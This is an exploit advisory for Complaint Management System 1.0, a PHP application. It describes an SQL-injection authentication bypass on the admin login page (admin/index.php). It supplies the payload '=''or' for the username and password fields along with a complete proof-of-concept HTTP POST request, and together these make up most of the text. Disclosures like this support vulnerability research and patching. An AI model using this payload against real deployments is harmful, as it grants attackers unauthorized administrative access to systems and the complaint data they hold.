Complaint Management System 1.0 SQL Injection

`# Exploit Title: complaint management system 1.0 - Authentication Bypass  
# Google Dork: N/A  
# Date: 2020-05-10  
# Exploit Author: BKpatron  
# Vendor Homepage: https://www.sourcecodester.com/php/14206/complaint-management-system.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/complaint-management-system.zip  
# Version: v1.0  
# Tested on: Win 10  
# CVE: N/A  
  
# Vulnerability: Attacker can bypass login page and access to dashboard page  
# vulnerable file : admin/index.php  
# Parameter & Payload: '=''or'  
# Proof of Concept:  
http://localhost/Complaint%20Management%20System/admin/  
  
POST /Complaint%20Management%20System/admin/ HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 61  
Referer: http://localhost/Complaint%20Management%20System/admin/  
Cookie:PHPSESSID=6d1ef7ce1b4rgp44ep3iqncfn4  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
username=%27%3D%27%27or%27&password=%27%3D%27%27or%27&submit=: undefined  
`